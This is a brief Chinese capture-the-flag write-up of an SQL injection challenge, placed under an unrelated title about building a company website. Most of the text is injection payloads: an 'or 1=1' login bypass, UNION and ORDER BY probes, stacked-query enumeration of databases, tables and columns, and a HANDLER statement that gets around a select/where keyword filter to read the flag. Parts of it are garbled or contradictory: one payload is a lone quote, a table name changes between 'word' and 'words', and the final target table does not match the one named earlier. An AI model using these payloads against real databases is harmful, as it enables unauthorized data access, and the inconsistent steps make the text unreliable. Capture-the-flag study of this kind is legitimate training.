企业官网建设流程全解析

这是一道sql注入题目

先输入1看看

显示了一些不知道什么东西

尝试1' or 1=1 #万能密码

看上去也没有一些有用的信息

然后尝试 联合注入查询

1' ORDER BY 3#

也没有什么有用的

尝试union注入

1' union select 1,2#

这里回显了被过滤的关键词，很明显后端把select、where这些核心关键字都加入了过滤规则。

先用show databases爆破数据库

'

看来有用

然后进一步show tables爆破表

看到了有个"数字串"的表和"word"表

1'; show columns from words; #
1'; show columns from `1919810931114514`; #

分别爆破这两个表看看 column列

再数字的表里面看到了flag

由于过滤了where select等字段 所以需要绕过这些字段 再不断尝试和学习 加上之前的积累

使用

1';HANDLER FlagHere OPEN; HANDLER FlagHere READ FIRST; HANDLER FlagHere CLOSE;#

注入后就可以得到flag